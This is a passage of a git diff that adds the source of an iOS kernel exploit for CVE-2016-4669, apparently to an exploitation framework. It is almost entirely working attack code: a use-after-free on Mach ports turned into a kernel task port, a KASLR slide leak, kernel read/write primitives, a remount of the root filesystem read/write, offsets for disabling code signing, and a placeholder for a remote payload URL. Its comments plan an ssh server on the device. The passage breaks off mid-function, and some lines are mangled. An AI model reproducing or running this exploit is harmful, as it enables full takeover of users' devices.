commands.segment->vmaddr); + __copy(base + commands.segment->vmaddr, + macho + commands.segment->fileoff, + commands.segment->filesize); + } + +next_cmd: + commands.p += commands.cmd->cmdsize; + } + + return macho_base; +} + +void next(uintptr_t JSCell_destroy, void *macho, unsigned pc) +{ + // structure describing the stack layout + // expected by the macho loader of ios + // + // The detail are in dyldStartup.s file of dyld source code. + // https://opensource.apple.com/source/dyld/dyld-421.1/src/dyldStartup.s.auto.html + struct dyld_params *__sp; + + // resolve functions we are going to use + unsigned slide = JSCell_destroy - JSCELL_DESTROY; + dlsym_t _dlsym = (dlsym_t)(DLSYM_BASE + slide + 1); + malloc_t _malloc = _dlsym(RTLD_DEFAULT, "malloc"); + strcpy_t _strcpy = _dlsym(RTLD_DEFAULT, "strcpy"); + + task_info_fn_t _task_info = _dlsym(RTLD_DEFAULT, "task_info"); + mach_task_self_t _mach_task_self = _dlsym(RTLD_DEFAULT, "mach_task_self"); + + mach_port_t self = _mach_task_self(); + task_dyld_info_data_t info; + struct dyld_all_image_infos *infos; + + // We need __dyld_start address to load a macho file, + // We call task_info to get dyld base and use hard coded offset + // to get __dyld_start pointer. + mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT; + kern_return_t kr = _task_info(self, TASK_DYLD_INFO, (task_info_t)&info, &count); + + infos = (struct dyld_all_image_infos *)info.all_image_info_addr; + void *dyld = (void *)infos->dyldImageLoadAddress; + void (* __dyld_start)() = (dyld + DYLD_START); + + // get page aligned address a bit further after + // the loader and map the macho down there. + void *base = (void *) (pc & ~PAGE_MASK); + base += 0x40000; + base = map_macho(macho, base); + + // allocate stack for out executable + __sp = _malloc(0x800000) + 0x400000; + + // setup up our fake stack + __sp->base = base; + __sp->argc = 1; + __sp->argv[0] = &__sp->strings; + __sp->argv[1] = NULL; + __sp->env[0] = NULL; + + __sp->apple[0] = &__sp->strings; + __sp->apple[1] = NULL; + + // it's required to have argv[0] + _strcpy(__sp->strings, "/bin/bin"); + + // call __dyld_start + __asm__ ("ldr r0, %[f];" + "ldr r1, %[v];" + "mov sp, r1;" + "bx r0;" + : // no output + : [v]"m"(__sp), [f]"m"(__dyld_start) + ); +} + +#if 1 +void __magic_end() { + asm("mov r0, #1"); + asm("mov r0, #1"); + asm("mov r0, #1"); + asm("mov r0, #1"); +} +#endif diff --git a/external/source/exploits/CVE-2016-4669/macho.h b/external/source/exploits/CVE-2016-4669/macho.h new file mode 100644 index 0000000000..1b1ba30890 --- /dev/null +++ b/external/source/exploits/CVE-2016-4669/macho.h @@ -0,0 +1,11 @@ +#ifndef MACHO_H +#define MACHO_H + +#include +#include "utils.h" + +uint32_t kr32(addr_t from); +uint32_t kw32(addr_t to, uint32_t v); +void kread(uint64_t from, void *to, size_t size); + +#endif diff --git a/external/source/exploits/CVE-2016-4669/macho.m b/external/source/exploits/CVE-2016-4669/macho.m new file mode 100644 index 0000000000..9ded96bbdd --- /dev/null +++ b/external/source/exploits/CVE-2016-4669/macho.m @@ -0,0 +1,1020 @@ +// [1] https://bugs.chromium.org/p/project-zero/issues/detail?id=882 +// [2] http://newosxbook.com/files/PhJB.pdf +// [3] https://www.slideshare.net/i0n1c/cansecwest-2017-portal-to-the-ios-core + +@import Foundation; +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include + +#include +#include +#include + +#include "__task.h" +#include "utils.h" +#include "shell.h" +#include "offsets.h" + +typedef union +{ + uint32_t *p32; + uint16_t *p16; + uint8_t *p8; + void *p; + uint32_t u32; +} many_ptr_t; + + +extern kern_return_t __mach_ports_register +( + task_t target_task, + mach_port_array_t init_port_set, + mach_msg_type_number_t init_port_setCnt +); + +// Definitions not covered by standard headers +extern kern_return_t mach_zone_force_gc(mach_port_t); +extern host_name_port_t mach_host_self(void); +kern_return_t (* mach_vm_read)(vm_map_t target_task, mach_vm_address_t address, + mach_vm_size_t size, vm_offset_t *data, + mach_msg_type_number_t *dataCnt); +kern_return_t (* mach_vm_read_overwrite)(vm_map_t target_task, mach_vm_address_t address, + mach_vm_size_t size, mach_vm_address_t data, + mach_vm_size_t *out_size); + +kern_return_t (* mach_vm_write)(vm_map_t target_task, mach_vm_address_t address, + vm_offset_t data, mach_msg_type_number_t dataCnt); +kern_return_t (* mach_vm_deallocate)(vm_map_t target, mach_vm_address_t address, mach_vm_size_t size); +kern_return_t (*io_service_add_notification_ool)(mach_port_t, + char *, + io_buf_ptr_t, + mach_msg_type_number_t, + mach_port_t, + unsigned *, + mach_msg_type_number_t, + kern_return_t *, + mach_port_t *); +kern_return_t (* IOMasterPort)(mach_port_t , mach_port_t *); + +#define resolve(name) \ +{\ + name = dlsym(RTLD_DEFAULT, ""#name"");\ + if (!name) {\ + NSLog(@"could not resolve " #name "");\ + exit(-1);\ + }\ +}\ + + +#define BAD_ADDR ((addr_t)-1) + +// Kernel offsets +static struct { + addr_t kernel_task; + addr_t system_clock; + addr_t base; +} koffsets = { + .kernel_task = 0x8038c090, + .system_clock = 0x80338e68, + .base = 0x80001000, +}; + +static mach_port_t master = MACH_PORT_NULL; +static mach_port_t tfp0 = MACH_PORT_NULL; + +int __update_super_port(int pipe[2], off_t off, char *buf, void (^fill)(many_ptr_t *mp)); + +#define PORT_SIZE 0x70 + +#define IKOT_TASK 2 +#define IKOT_CLOCK 25 +#define IO_ACTIVE 0x80000000 + +#define off(x) (x) +#define off16(x) (x/2) +#define off32(x) (x/4) + +#define KALLOC_8_CNT 0x800 +// The amount of ports we are planing to +// decommission during allocator garbage collection. +// Each page has 0x24 ports and we are allocating +// one pipe per page. Sp this is how many ports +// we will have for 0x400 pipes. +#define DECOM_PORTS_CNT (0x24*0x400) +#define PIPES_CNT 0xf80 +#define PAGE_PORTS_CNT 0x500 +#define X10_ALLOC_CNT 0x10 +#define NOTIFY_CNT 0x800 + +#define INIT_IP_RIGHTS 0x41 + +void set_page_buffer_ports(char *buf, void (^fill)(many_ptr_t *mp, int )) +{ + for (int i=0; i<(PAGE_SIZE-PORT_SIZE); i+=PORT_SIZE) { + many_ptr_t mp; + mp.p = buf + i; + fill(&mp, i); + } +} + +int set_super_port(int pipe[2], off_t off, void (^fill)(many_ptr_t *mp)) +{ + char buf[PAGE_SIZE]; + memset(buf, 0, sizeof(buf)); + + return __update_super_port(pipe, off, buf, fill); +} + +int update_super_port(int pipe[2], off_t off, void (^fill)(many_ptr_t *mp)) +{ + return __update_super_port(pipe, off, NULL, fill); +} + +void gc() +{ + kern_return_t kr = mach_zone_force_gc(mach_host_self()); + if (kr != KERN_SUCCESS) { + NSLog(@"zone gc failed: %d", kr); + exit(-1); + } +} + +int mach_ports_register_oob() +{ + mach_port_t ports[3]; + ports[0] = 0; + ports[1] = 0; + ports[2] = 0; + // we've patched the generated code for mach_ports_register to only actually send one OOL port + // but still set init_port_setCnt to the value passed here + return __mach_ports_register(mach_task_self(), ports, 3); +} + +// Trigger the bug and create a dangling port pointer. +// Returns a ports list so that dangling port memory block +// is placed somewhere amongst blocks from that list. +mach_port_t *setup_super_port(mach_port_t *super_port, size_t ports_count) +{ + mach_port_t kalloc_8_ports[KALLOC_8_CNT]; + for (int i=0; ip32[off32(IP_OBJECT_io_bits)] = IO_ACTIVE | IKOT_CLOCK; + mp->p32[off32(IP_OBJECT_io_references)] = 0x10; + mp->p32[off32(IP_OBJECT_io_lock_data_lock)] = 0; + mp->p32[off32(IP_OBJECT_io_lock_data_type)] = 0x11; + }); + + for (int i=0; i<0x200; i++) { + + addr_t slide = i << 21; + + update_super_port(pipe, off, ^(many_ptr_t *mp) { + mp->p32[off32(IPC_PORT_kobject)] = koffsets.system_clock + slide; + }); + + kr = clock_sleep_trap(port, 0, 0, 0, 0); + if (kr == KERN_SUCCESS) { + return slide; + } + } + + return BAD_ADDR; +} + +int super_port_to_tfp0(int pipe[2], unsigned off, addr_t task0, addr_t space0, + addr_t port_addr) +{ + set_super_port(pipe, off, ^(many_ptr_t *mp) { + mp->p32[off32(IP_OBJECT_io_bits)] = IO_ACTIVE | IKOT_TASK; + mp->p32[off32(IP_OBJECT_io_references)] = 0x10; + mp->p32[off32(IP_OBJECT_io_lock_data_lock)] = 0; + mp->p32[off32(IP_OBJECT_io_lock_data_type)] = 0x11; + mp->p32[off32(IPC_PORT_receiver)] = space0; + mp->p32[off32(IPC_PORT_kobject)] = task0; + // we don't do notify in mach_ports_register + mp->p32[off32(IPC_PORT_ip_srights)] = 0x10; + + mp->p32[off32(IPC_PORT_ip_messages_imq_next)] = + port_addr + IPC_PORT_ip_messages_imq_next; + mp->p32[off32(IPC_PORT_ip_messages_imq_prev)] = + port_addr + IPC_PORT_ip_messages_imq_prev; + mp->p32[off32(IPC_PORT_ip_messages_imq_qlimit)] = 0x10; + + mp->p32[off32(0x14)] = 6; + mp->p32[off32(0x18)] = 0; + }); + + return 0; +} + +void kread(uint64_t from, void *to, size_t size) +{ +#define BLOCK_SIZE 0xf00 + mach_vm_size_t outsize = size; + + size_t szt = size; + if (size > BLOCK_SIZE) { + size = BLOCK_SIZE; + } + + size_t off = 0; + + while (1) { + kern_return_t kr = mach_vm_read_overwrite(tfp0, off+from, + size, (mach_vm_offset_t)(off+to), &outsize); + if (kr != KERN_SUCCESS) { + NSLog(@"mach_vm_read_overwrite failed, left: %zu, kr: %d", szt, kr); + return; + } + szt -= size; + off += size; + if (szt == 0) { + break; + } + size = szt; + if (size > BLOCK_SIZE) { + size = BLOCK_SIZE; + } + } +#undef BLOCK_SIZE +} + +uint32_t kr32(addr_t from) +{ + kern_return_t kr; + vm_offset_t buf = 0; + mach_msg_type_number_t num = 0; + + kr = mach_vm_read(tfp0, + from, + 4, + &buf, + &num); + + if (kr != KERN_SUCCESS) { + NSLog(@"mach_vm_read failed!\n"); + return 0; + } + uint32_t val = *(uint32_t*)buf; + mach_vm_deallocate(mach_task_self(), buf, num); + return val; +} + +uint32_t kw32(addr_t to, uint32_t v) +{ + kern_return_t kr; + + kr = mach_vm_write(tfp0, + to, + (vm_offset_t)&v, + (mach_msg_type_number_t)4); + + if (kr != KERN_SUCCESS) { + NSLog(@"mach_vm_write failed!\n"); + } + + return kr; +} + +int kread0_32(addr_t addr, void *result, mach_port_t super_port, + mach_port_t context_port) +{ + kern_return_t kr = mach_port_set_context(mach_task_self(), + context_port, addr - 8); + if (kr != KERN_SUCCESS) { + NSLog(@"mach_port_set_context failed: %d", kr); + return -1; + } + + kr = pid_for_task(super_port, (int *)result); + if (kr != KERN_SUCCESS) { + NSLog(@"pid_for_task failed: %d", kr); + return -2; + } + return 0; +} + +static void khexdump0(addr_t ptr, size_t n, mach_port_t port, mach_port_t ctx_port) +{ + for (int i=0; ia"); + + for (int i=0; i%08x%08x%08x%08x", + htonl(data[0]), htonl(data[1]), + htonl(data[2]), htonl(data[3])); + } + + sprintf(ok_dict+pos, ""); + return ok_dict; +} + +io_service_t alloc_x10_alloc(void *xml) +{ + kern_return_t another_error = 0; + io_service_t i = MACH_PORT_NULL; + + kern_return_t kr = io_service_add_notification_ool(master, + "IOServicePublish", + xml, + strlen(xml)+1, + MACH_PORT_NULL, + NULL, + 0, + &another_error, + &i); + + if (kr != KERN_SUCCESS || another_error != KERN_SUCCESS) { + NSLog(@"io_service_add_notification_ool failed %d, %d", + kr, another_error); + return MACH_PORT_NULL; + } + + return i; +} + +addr_t kread0_port_addr(addr_t space, + mach_port_t port, mach_port_t super_port, + mach_port_t ctx_port) +{ + addr_t is_table_size; + addr_t is_table; + addr_t addr; + kern_return_t kr = KERN_SUCCESS; + + kr = kread0_32(space + SPACE_is_table_size, &is_table_size, + super_port, ctx_port); + if (kr != KERN_SUCCESS) { + return 0; + } + + kr = kread0_32(space + SPACE_is_table, &is_table, + super_port, ctx_port); + if (kr != KERN_SUCCESS) { + return 0; + } + + kr = kread0_32(is_table + (port >> 8)*0x10, &addr, + super_port, ctx_port); + if (kr != KERN_SUCCESS) { + return 0; + } + + return addr; +} + +#include +#include + +// This is an exploit for vulnerability described in [1]. +// +// To start lets roughly out like the exploit process. It's very +// similar to what detailed in [2]. The only difference +// is we don't use an information leak bug. +// +// 1. We fill up 8 bytes kalloc zone with ool ports. +// two port pointers each. We use the same port for all of them. +// +// 2. Free one ool message somewhere in the middle. +// +// 3. Trigger mach_ports_register bug to allocate +// the block we released in 2. with 8 bytes allocation for +// two port pointers and read the third port send right out of bound, +// grabbing one of the pointers we placed into ool port messages without +// proper reference. +// +// 4. Free the port we sent out of line and refill it with a pipe buffers. +// +// 6. Retrieve a dangling port send right via mach_ports_lookup. +// +// 7. Craft a fake IKOT_CLOCK port send right to get kernel slide. +// +// 8. Leak address of a port receive right using mach_port_request_notification on +// a dangling port send right backed by a pipe buffer. +// +// 9. Use leaked port receive right pointer to setup kernel read via pid_for_task as +// described in [2]. +// +// 10. Use kernel read to convert dangling port into a kernel task send right. +// +// 11. Spawn ssh server and deploy gnu core utils. +// +// 12. Cleanup and exit. +int main(int argc, char** argv) +{ + kern_return_t kr = KERN_SUCCESS; + + resolve(io_service_add_notification_ool); + resolve(IOMasterPort); + resolve(mach_vm_read); + resolve(mach_vm_read_overwrite); + resolve(mach_vm_write); + resolve(mach_vm_deallocate); + + kr = IOMasterPort(MACH_PORT_NULL, &master); + NSLog(@"master port: %x, kr: %d\n", master, kr); + + // First we stop all other thread to reduce the "noise" + for_other_threads(^(thread_act_t t) { + kern_return_t kr = thread_suspend(t); + if (kr != KERN_SUCCESS) + NSLog(@"could not suspend a thread"); + }); + + // Set file limit for our process as high as possible, + // since we are using pipes as refill + set_nofile_limit(); + + int pipes[PIPES_CNT][2]; + + mach_port_t *ports_to_decom; + mach_port_t super_port; + + // We are going to reclaim decommissioned pages + // with page size allocations via pipes. + // Prepare the buffer first. + char pipe_buf[PAGE_SIZE]; + memset(pipe_buf, 0, sizeof(pipe_buf)); + + // We prepare a very minimal refill, so we don't panic + // in mach_ports_lookup trap when it needs to + // take port lock. + set_page_buffer_ports(pipe_buf, ^(many_ptr_t *mp, int i) { + mp->p32[off32(IP_OBJECT_io_bits)] = IO_ACTIVE; + mp->p32[off32(IP_OBJECT_io_lock_data_lock)] = 0; + mp->p32[off32(IP_OBJECT_io_lock_data_type)] = 0x11; + // we set ip_srights to some distinct value, the function + // mach_ports_lookup returns as back a send right + // to the port, hence it increments ip_srights. + // We are going to use that later on to find the + // pipe buffer which captured the pages used + // for the super port. + mp->p32[off32(IPC_PORT_ip_srights)] = INIT_IP_RIGHTS; + }); + + // create pipe files first + if (pipes_create((int *)pipes, PIPES_CNT) < 0) { + NSLog(@"could not create pipes"); + return -1; + } + + // Allocate DECOM_PORTS_CNT ports continuously after some point + // and mark one "super" port somewhere in the middle. + // The super port is returned back via super_port argument. + // + // We places super_port without a proper reference into task's itk_registered + // using a bogus mach_ports_register call. + ports_to_decom = setup_super_port(&super_port, DECOM_PORTS_CNT); + if (ports_to_decom == NULL) { + return -1; + } + + // exhaust PAGE_SIZE zone so once we trigger the garbage collection + // the allocator is going to start requesting the "fresh" pages. + mach_port_t page_ports[PAGE_PORTS_CNT]; + + for (int i=0; i= 0) { + NSLog(@"got port pipe %d, off: %04x\n", pipe_idx, pipe_off); + } else { + NSLog(@"could not find port pipe"); + exit(-1); + } + + super_pipe[0] = pipes[pipe_idx][0]; + super_pipe[1] = pipes[pipe_idx][1]; + + pipes[pipe_idx][0] = -1; + pipes[pipe_idx][1] = -1; + pipes_close((int *)pipes, PIPES_CNT); + + // We have a send right to a port and full control over + // the backing memory via a pipe. + // + // We use method described in [3] to get kernel ASLR slide. + addr_t slide = get_kaslr_slide(super_port, super_pipe, pipe_off); + NSLog(@"slide: %08lx", slide); + + // Now we want to get kernel read using pid_for_task trap trick. + // The details on that can be found in [2]. + // + // With control over content of a sand right we can setup a task send right. + // To get a kernel read we would need to have control of at least 4 bytes at + // a known kernel address (KA). Then we can point our send right task object + // to KA - offsetof(struct task, bsd_proc) and place the address we want + // to read from at KA. + // + // To achieve that we are going to leak address of a receive port right + // we can control and use mach_port_set_context to place the address we + // want to read at known address. (port_t ip_context field). + // + // To leak a port address we setup up our super_port so we can register + // a notification port for MACH_NOTIFY_DEAD_NAME via + // mach_port_request_notification. + set_super_port(super_pipe, pipe_off, ^(many_ptr_t *mp) { + mp->p32[off32(IP_OBJECT_io_bits)] = IO_ACTIVE; + mp->p32[off32(IP_OBJECT_io_references)] = 0x10; + mp->p32[off32(IP_OBJECT_io_lock_data_lock)] = 0; + mp->p32[off32(IP_OBJECT_io_lock_data_type)] = 0x11; + mp->p32[off32(IPC_PORT_ip_srights)] = 99; + mp->p32[off32(IPC_PORT_ip_messages_imq_qlimit)] = 99; + mp->p32[off32(IPC_PORT_ip_messages_imq_msgcount)] = 0; + }); + + mach_port_t old; + + // For pid_for_task call to work we need to make sure + // our fake task object has non zero reference counter. + // The task reference counter field would land at + // ip_pdrequest field of a port located before the port we + // are using to place our address at ip_context. So we spam + // ports with non zero ip_pdrequest, before allocating + // the port. + mach_port_t notify_ports[NOTIFY_CNT]; + mach_port_t ref_port = alloc_port(); + + for (int i=0; ip32[off32(IPC_PORT_ip_requests)]; + }); + NSLog(@"got ip_requests: %lx", ip_requests); + + // -8 we need for +8 pid offset in proc structure. + // + 8 is for second ipc_port_request record. + data[0] = ip_requests - 8 + 8; + + free(xml_many); + // now prepare another xml to replace the block we allocated + // before with new data. We place our ip_requests pointer at + // offset 0. + xml_many = alloc_x10_make_xml(0x1000, data); + + // free the previous allocation + for (int i=0; ip32[IP_OBJECT_io_bits] = IO_ACTIVE | IKOT_TASK; + // set reference counter so the port is never released + mp->p32[off32(IP_OBJECT_io_references)] = 0x10; + mp->p32[off32(IP_OBJECT_io_lock_data_lock)] = 0; + mp->p32[off32(IP_OBJECT_io_lock_data_type)] = 0x11; + mp->p32[off32(IPC_PORT_kobject)] = ip_requests - TASK_bsd_proc + 0x10; + mp->p32[off32(IPC_PORT_ip_srights)] = 0x10; + mp->p32[off32(IPC_PORT_ip_requests)] = ip_requests; + }); + + addr_t notify_port_addr; + kr = pid_for_task(super_port, (int *)¬ify_port_addr); + if (kr != KERN_SUCCESS) { + NSLog(@"pid_for_task failed"); + exit(-1); + } + NSLog(@"notify addr: %lx", notify_port_addr); + // Update the content of the task port so when we call pid_for_task + // it's going to use the value of notify_port ip_context field + // as bsd_info. + update_super_port(super_pipe, pipe_off, ^(many_ptr_t *mp) { + mp->p32[off32(IPC_PORT_kobject)] = notify_port_addr - TASK_bsd_proc + IPC_PORT_ip_context; + }); + + uint32_t dummy = 0; + if (kread0_32(koffsets.base + slide, &dummy, super_port, notify_port) < 0) { + NSLog(@"early kernel read failed"); + exit(-1); + } + if (dummy != 0xFEEDFACE) { + NSLog(@"could not setup early kernel read"); + exit(-1); + } + NSLog(@"got early kernel read"); + + // remove our notification port, to be able to safely release the + // super_port later on. + kr = mach_port_request_notification(mach_task_self(), super_port, + MACH_NOTIFY_DEAD_NAME, 0, MACH_PORT_NULL, + MACH_MSG_TYPE_MAKE_SEND_ONCE, &old); + if (kr != KERN_SUCCESS) { + NSLog(@"mach_port_request_notification failed kr: %x", kr); + exit(-1); + } + + // The only thing left to get arbitrary kernel read/write is to + // obtain some kernel artifacts. + addr_t kernel_task; + if (kread0_32(koffsets.kernel_task + slide, (uint32_t *)&kernel_task, + super_port, notify_port) < 0) { + exit(0); + } + NSLog(@"kernel_task: %lx", kernel_task); + + addr_t kernel_space; + addr_t kernel_itk_self; + kread0_32(kernel_task + TASK_itk_self, (uint32_t *)&kernel_itk_self, + super_port, notify_port); + kread0_32(kernel_itk_self + IPC_PORT_receiver, (uint32_t *)&kernel_space, + super_port, notify_port); + + NSLog(@"kernel_space: %lx", kernel_space); + + addr_t self_space; + kread0_32(notify_port_addr + IPC_PORT_receiver, &self_space, + super_port, notify_port); + addr_t super_port_addr = kread0_port_addr(self_space, super_port, + super_port, notify_port); + + NSLog(@"super_port_addr: %lx", super_port_addr); + + // setup port for kernel task as outlined in [2] + super_port_to_tfp0(super_pipe, pipe_off, kernel_task, kernel_space, + super_port_addr); + NSLog(@"got tfp0"); + tfp0 = super_port; + + // resume thread, otherwise we lose some of + // objective-C runtime functionality. + for_other_threads(^(thread_act_t t) { + kern_return_t kr = thread_resume(t); + if (kr != KERN_SUCCESS) + NSLog(@"could not resume a thread"); + }); + + shell_main(self_space, slide); + + ports[0] = 0; + ports[1] = 0; + ports[2] = 0; + mach_ports_register(mach_task_self(), ports, 3); + + mach_port_destroy(mach_task_self(), tfp0); + close(super_pipe[0]); + close(super_pipe[1]); + exit(0); + + return 0; +} diff --git a/external/source/exploits/CVE-2016-4669/macho_to_bin.py b/external/source/exploits/CVE-2016-4669/macho_to_bin.py new file mode 100644 index 0000000000..5ac322203d --- /dev/null +++ b/external/source/exploits/CVE-2016-4669/macho_to_bin.py @@ -0,0 +1,27 @@ +import sys +import base64 + +fd = open(sys.argv[1], 'rb') +macho = fd.read() +fd.close() + +magic_start = "\x4F\xF0\x00\x00"*4 +magic_end = "\x4F\xF0\x01\x00"*4 + +start = macho.find(magic_start) + len(magic_start) + 2 +end = macho.find(magic_end) +end = (end & 0xfff0) + 0x10 + +print("real len: 0x%x" % (end - start)) + +blob = macho[start:start+0x400] +print("code start: 0x%x" % start) +print("code end: 0x%x" % end) + +fd = open(sys.argv[1] + ".b64", "wb+") +fd.write(base64.b64encode(blob)) +fd.close() + +fd = open(sys.argv[1] + ".bin", "wb+") +fd.write(blob) +fd.close() diff --git a/external/source/exploits/CVE-2016-4669/offsets.h b/external/source/exploits/CVE-2016-4669/offsets.h new file mode 100644 index 0000000000..f0ff5965c1 --- /dev/null +++ b/external/source/exploits/CVE-2016-4669/offsets.h @@ -0,0 +1,35 @@ +#ifndef OFFSETS_H +#define OFFSETS_H + +#define IP_OBJECT_io_bits 0 +#define IP_OBJECT_io_references 4 +#define IP_OBJECT_io_lock_data_lock 8 +#define IP_OBJECT_io_lock_data_type 0x10 + +#define IPC_PORT_ip_messages_imq_wait_queue 0x18 +#define IPC_PORT_ip_messages_imq_next 0x1c +#define IPC_PORT_ip_messages_imq_prev 0x20 +#define IPC_PORT_ip_messages_imq_msgcount 0x28 +#define IPC_PORT_ip_messages_imq_qlimit 0x2c +#define IPC_PORT_kobject 0x44 +#define IPC_PORT_receiver 0x40 +#define IPC_PORT_ip_requests 0x50 +#define IPC_PORT_ip_srights 0x5c +#define IPC_PORT_flags 0x64 +#define IPC_PORT_ip_context2 0x6c +#define IPC_PORT_ip_context 0x68 + +#define TASK_bsd_proc 0x1e8 +#define TASK_itk_space 0x1a0 +#define TASK_itk_self 0xa0 + +#define PROC_ucred 0x8c + +#define SPACE_is_table_size 0x10 +#define SPACE_is_table 0x14 + +// mount_common +#define VNODE_v_mount 0x84 +#define MOUNT_mnt_flags 0x3c + +#endif diff --git a/external/source/exploits/CVE-2016-4669/shell.h b/external/source/exploits/CVE-2016-4669/shell.h new file mode 100644 index 0000000000..14310ebcd0 --- /dev/null +++ b/external/source/exploits/CVE-2016-4669/shell.h @@ -0,0 +1,8 @@ +#ifndef SHELL_H +#define SHELL_H + +#include "utils.h" + +void shell_main(addr_t self_space, addr_t slide); + +#endif diff --git a/external/source/exploits/CVE-2016-4669/shell.m b/external/source/exploits/CVE-2016-4669/shell.m new file mode 100644 index 0000000000..241a67a4a1 --- /dev/null +++ b/external/source/exploits/CVE-2016-4669/shell.m @@ -0,0 +1,171 @@ +// [1] https://github.com/kpwn/yalu102/blob/master/yalu102/ +// [2] http://www.newosxbook.com/articles/CodeSigning.pdf + +#include "macho.h" +#include "utils.h" +#include "offsets.h" + +#define MNT_ROOTFS 0x00004000 +#define MNT_RDONLY 0x00000001 +#define MNT_NOSUID 0x00000008 + +#define PAYLOAD_URL_PLACEHOLDER "PAYLOAD_URL_PLACEHOLDER\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" + +static struct { + addr_t amfi_allow_any_signature; + addr_t cs_enforcement_disable; + addr_t p_rootvnode; + addr_t base; +} koffsets = { + .amfi_allow_any_signature = 0x807c3b30, + .cs_enforcement_disable = 0x807c3b38, + .p_rootvnode = 0x8038c1b4, + .base = 0x80001000 +}; + + +addr_t get_port_addr(addr_t space, mach_port_t port) +{ + addr_t is_table_size; + addr_t is_table; + addr_t addr; + + is_table_size = kr32(space + SPACE_is_table_size); + is_table = kr32(space + SPACE_is_table); + addr = kr32(is_table + (port >> 8)*0x10); + + return addr; +} + +addr_t proc_for_pid(addr_t self_proc, int pid) +{ + addr_t next = kr32(self_proc); + while (next != self_proc) { + int _pid = kr32(next + 8); + if (_pid == pid) { + return next; + } + next = kr32(next); + } + + return 0; +} + +int remount_root_rw(addr_t slide) +{ + addr_t rootvnode = kr32(koffsets.p_rootvnode + slide); + addr_t v_mount = kr32(rootvnode + VNODE_v_mount); + + uint32_t mnt_flags = kr32(v_mount + MOUNT_mnt_flags); + kw32(v_mount + MOUNT_mnt_flags, mnt_flags & ~(MNT_ROOTFS | MNT_RDONLY)); + + char* nmz = strdup("/dev/disk0s1s1"); + int ret = mount("hfs", "/", MNT_UPDATE, (void*)&nmz); + if (ret < 0) { + NSLog(@"mount failed ret: %d", ret); + return -1; + } + + NSLog(@"root fs mounted r/w"); + kw32(v_mount + MOUNT_mnt_flags, mnt_flags & ~MNT_RDONLY); + return 0; +} + +int remount_root_ro(addr_t slide) +{ + addr_t rootvnode = kr32(koffsets.p_rootvnode + slide); + addr_t v_mount = kr32(rootvnode + VNODE_v_mount); + + uint32_t mnt_flags = kr32(v_mount + MOUNT_mnt_flags); + mnt_flags |= MNT_RDONLY; + mnt_flags &= ~MNT_ROOTFS; + + kw32(v_mount + MOUNT_mnt_flags, mnt_flags); + + char* nmz = strdup("/dev/disk0s1s1"); 